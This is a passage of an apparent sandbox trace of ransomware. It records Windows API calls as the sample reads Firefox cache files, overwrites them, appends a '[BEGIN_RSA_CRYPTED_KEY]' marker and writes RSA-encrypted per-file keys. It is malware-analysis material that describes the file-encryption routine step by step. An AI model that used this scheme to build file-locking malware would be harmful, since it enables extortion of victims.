lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0x713c, lpOverlapped=0x0) returned 1 [0255.951] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-28988, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0255.951] WriteFile (in: hFile=0x1b84, lpBuffer=0x3451198*, nNumberOfBytesToWrite=0x713c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3451198*, lpNumberOfBytesWritten=0x2e3f9b4*=0x713c, lpOverlapped=0x0) returned 1 [0255.952] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x713c [0255.952] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0255.952] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0255.953] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0255.953] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0255.953] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0255.953] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="EmX2bRRyLrsncohELfWvZ1epSJBKOszz5EQWSTQ88hCTB2qmY4aZ8JWoRSEnRB+j\nHz/8P6wR07Rx+2FtKiuY1ka5HFOxiY3jKVOnIoLFgCZCvK80UpecLO5DMFMuEZQK\ncfZrRV54ufpWqQy7/4gcBKVhU4qWXkrim6zMiYfyUJl62e2pwbRFwGjSMu/YYkq0\nY1YFxNXtxJcUGCcEwdc/CgTWHQHC5qM/IYYRPYHkirLOsfCqJUOd2OlZ+xZoRYmE\n3lN+XqV9M1iJyt1AG0Elqi0kZDwQ+skLOIE2sXq25DBIAUn/bmgZkkPcaZT6/fWt\n7vsutjBTLR1Zt3cxTHalOA==\n", pcchString=0x2e3f9a8) returned 1 [0255.953] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0255.953] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0255.953] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0255.953] CloseHandle (hObject=0x1b84) returned 1 [0255.955] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0255.955] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\CEB82D261AB0BF52781F3BA7EA138F52DE2ACE63", dwFileAttributes=0x80) returned 1 [0255.955] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x52a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x52a, lpOverlapped=0x0) returned 1 [0256.018] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1322, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0256.018] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x52a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x52a, lpOverlapped=0x0) returned 1 [0256.019] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x52a [0256.019] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0256.019] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0256.019] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0256.019] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0256.019] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0256.020] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="2G3smhs7N/bvrRRcGICDEaV0b3XLTxh1O55IaNDKpijHvh0X2Pr4BLFTF7dcjZ79\neVhJlBQiVoWU/ni2l/2QW9x20AleExpZ9CNoN352pL3ClR8ubizGv1NSXK/xIWg7\n6jX+7WqRUtzVDFtPASotDJh2P45E9SuY8ler+gt+aHVsx6NmeYzvGNnY3XzzUM/V\n0XRyoDPlt7i9T/WooFjL9U5qDUMArsFmEhxdEDAYrQE9qj/4Vo1L1JJRblb5fCrJ\nXmDkj/E0Ycxvw6ZupfznXs4v9O4VpWtWNpQnWvaF4uV5Sp0copw3FhbDZCjdDmVy\nFepX2oNjb8NdEuziw9HGjA==\n", pcchString=0x2e3f9a8) returned 1 [0256.020] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0256.020] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0256.020] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0256.020] CloseHandle (hObject=0x1b84) returned 1 [0256.024] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0256.024] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\CE5E76DE3CA9429148F74B96ABB82C26C86133FB", dwFileAttributes=0x80) returned 1 [0256.025] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0x3c60, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0x3c60, lpOverlapped=0x0) returned 1 [0256.052] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-15456, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0256.052] WriteFile (in: hFile=0x1b84, lpBuffer=0x344dcb8*, nNumberOfBytesToWrite=0x3c60, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344dcb8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x3c60, lpOverlapped=0x0) returned 1 [0256.053] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x3c60 [0256.053] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0256.053] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0256.053] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0256.053] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0256.053] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0256.054] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="AsdR54XESj0k2XQlrXoEVKtQAf4buiSYD0bt26YHx5cQzW0fqqSzV/Zvnz5LRr9C\nvWh3/zdcQIIv8Ep835UyUF0PD/qzyRscx4ZMG/KlUlLUBcFwzjtdobH+P09zGDgp\n1LHF2HNqgCinJp3BOKjYUbBVV7Kq0RiRREgx5ZBASMsxVZ3cGpj2WyLua3oQ2Riu\nRLJCJCETH1Yf990jQotgwOoc5bhRGsQTEFfhIv0s2lGXTuEy1chC2llICC7a6K5k\nktUu2GdPLhb3k0oDUT65Lb7nn+FQHWhtRg2sSWfwAbh6qwDOZQ0izn4Q02oV5ZC7\niyL14sKBFEZVayfQqVYidw==\n", pcchString=0x2e3f9a8) returned 1 [0256.054] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0256.054] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0256.054] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0256.054] CloseHandle (hObject=0x1b84) returned 1 [0256.056] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0256.056] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\CD90A13FDDB729164DCAA53582179521892D1AD3", dwFileAttributes=0x80) returned 1 [0256.056] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0xd33, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0xd33, lpOverlapped=0x0) returned 1 [0256.078] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3379, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0256.078] WriteFile (in: hFile=0x1b84, lpBuffer=0x344ad90*, nNumberOfBytesToWrite=0xd33, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344ad90*, lpNumberOfBytesWritten=0x2e3f9b4*=0xd33, lpOverlapped=0x0) returned 1 [0256.079] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xd33 [0256.079] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0256.079] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0256.079] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0256.079] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0256.079] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0256.080] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="LA6eZPxO7D5kIVJsensO3PqxalN5T8UnTuIWPnSxZ79a1DSP2FUSXpc/b9j7/521\nii+eted9r5uY8h0zj0iGefDmQDZbCet8fwSZ8WczoWrxHksstgmifvDdEwK0C0kE\nM2VpZjg/0nO3i6vf5/Fl43GP0Y7477Mi//XDCDrefCnEguibNcu/F/1+W9d6ClR/\ndlfWDma5brx54ZBUepOzwoggp1MjwWguB1DY+D0e/ortWK90Vrc3XYsjaIPLov5a\n8tbJmwegHZ/XZKs9twcKJya+QYvn5jsgIO5brngV0ZsBuVMmdFoFM6Mlq6q1tr9n\nF9sR2SLxXYLwG5lIoBaIGA==\n", pcchString=0x2e3f9a8) returned 1 [0256.080] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0256.080] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0256.080] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0256.080] CloseHandle (hObject=0x1b84) returned 1 [0256.081] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0256.081] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\CD054398D4C8F7E0F984E5C9895F3CE31CC87DD9", dwFileAttributes=0x80) returned 1 [0256.082] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0x15b1, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0x15b1, lpOverlapped=0x0) returned 1 [0256.131] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-5553, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0256.131] WriteFile (in: hFile=0x1b84, lpBuffer=0x344b610*, nNumberOfBytesToWrite=0x15b1, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344b610*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15b1, lpOverlapped=0x0) returned 1 [0256.132] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x15b1 [0256.132] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0256.132] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0256.132] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0256.132] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0256.133] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0256.133] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="hJPjYdDtszYs12nU+Obuo3DnFGOiUhmrJrut2EQK+N3ImVnpp0VE90GwAw+CKked\n0yCvNEHEQ1RwEkLb57ErbuauZvkTFzHzJ1BvgcavyASS2EqI45GPh6OIN22jt1To\nCyjIFbQqrU5jtr1vTnrAGOukhOKaDODVQF9D5yUk5D1+0Cpa2DvPDL6NyK2K7Vj3\n43Tjxwf4GcGK7qad5RXeNX0JWR9I3eG7yra81BmHfCU0EigyzxdA5oOmcqkvpA1J\nXej1RQa/RuibUuOZuJZQMpgLtU+1SaZawQD6YoZ5oJ98aXFHuKGJsEcBbfRK868N\nT19p9etXCGck2gPPZiB6lQ==\n", pcchString=0x2e3f9a8) returned 1 [0256.133] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0256.133] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0256.133] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0256.133] CloseHandle (hObject=0x1b84) returned 1 [0256.135] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0256.135] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\CC822E0B9DE14A05893A5AE29833AF53519F93AB", dwFileAttributes=0x80) returned 1 [0256.145] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0x573d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0x573d, lpOverlapped=0x0) returned 1 [0256.155] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-22333, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0256.155] WriteFile (in: hFile=0x1b84, lpBuffer=0x344f798*, nNumberOfBytesToWrite=0x573d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344f798*, lpNumberOfBytesWritten=0x2e3f9b4*=0x573d, lpOverlapped=0x0) returned 1 [0256.156] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x573d [0256.156] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0256.156] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0256.156] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0256.156] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0256.157] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0256.157] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="/CVx8uVktThP10PSjYrwohqNctz2u+Nxlpwk7MbjjF9SVKCXnltoA4GSo3WIgRYU\ndTk4NXXXyj1dWDVCm71zIB5+l8wHRFYCSUL/+cOyK5FWitb5/tTZWurNZlfsTILJ\nPFwISc0oaT1OyEE/v9cJQUIRPD89X/SQFKc70dwmgDh7bmham6/lI8lZtf/DyQbX\nJ9fGcEq0Y4C75YqW8eME3m3VGTl32ouHN5g3LoVmoETHSeM1q4UjExQuNrnoI5oh\n5pa0Jv7r4fIzOlVK3HEi/OnAkxTwnXPDES+x/RGnswecZRQDQs4Yuji2wQU4qN5G\nltkc77DzTtEtmc18sQdeLQ==\n", pcchString=0x2e3f9a8) returned 1 [0256.157] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0256.157] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0256.157] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0256.157] CloseHandle (hObject=0x1b84) returned 1 [0256.164] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0256.164] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\CBBE6FE83304DB3A9E58933FD23A23CEEAF12F21", dwFileAttributes=0x80) returned 1 [0256.165] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x52a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x52a, lpOverlapped=0x0) returned 1 [0256.196] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1322, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0256.196] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x52a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x52a, lpOverlapped=0x0) returned 1 [0256.197] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x52a [0256.197] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0256.197] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0256.197] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0256.197] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0256.198] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0256.198] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="akaZ1Vod32lkMOekeTg+IbhNdvOZD58Q1ovjG8ES0lMjLNWQJCuM7y+CU7HGSUfR\nsRrJnEM5kBfngsvf+75B9iykRZQweWZm8iGOrRZWZopehZE/fVi+kzwdPss2F6cE\nEfSG3VdYlbhgVZDiys/zpHebOMurGstIE2MG3dLAPNHXvlwa18GVnRYUY5M7hv2f\n0rmrRbCuwgeeLNInslCe8PR2eBC+M4hwX8lQPnAPqCclSEsdrOvET6+9g10pgbAm\nZXdsb+6uhygTPAg/zmsFZ2YaY5y72TiFQopXgUUx3E6eU2OvwU53lc9En2xvPryo\nYAQvKkIqrwy51cSgJMKhog==\n", pcchString=0x2e3f9a8) returned 1 [0256.198] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0256.198] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0256.198] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0256.198] CloseHandle (hObject=0x1b84) returned 1 [0256.200] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0256.200] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\CB8C106D505303C68AD24895B83107C94B34A8AD", dwFileAttributes=0x80) returned 1 [0256.200] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0xaaa, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, 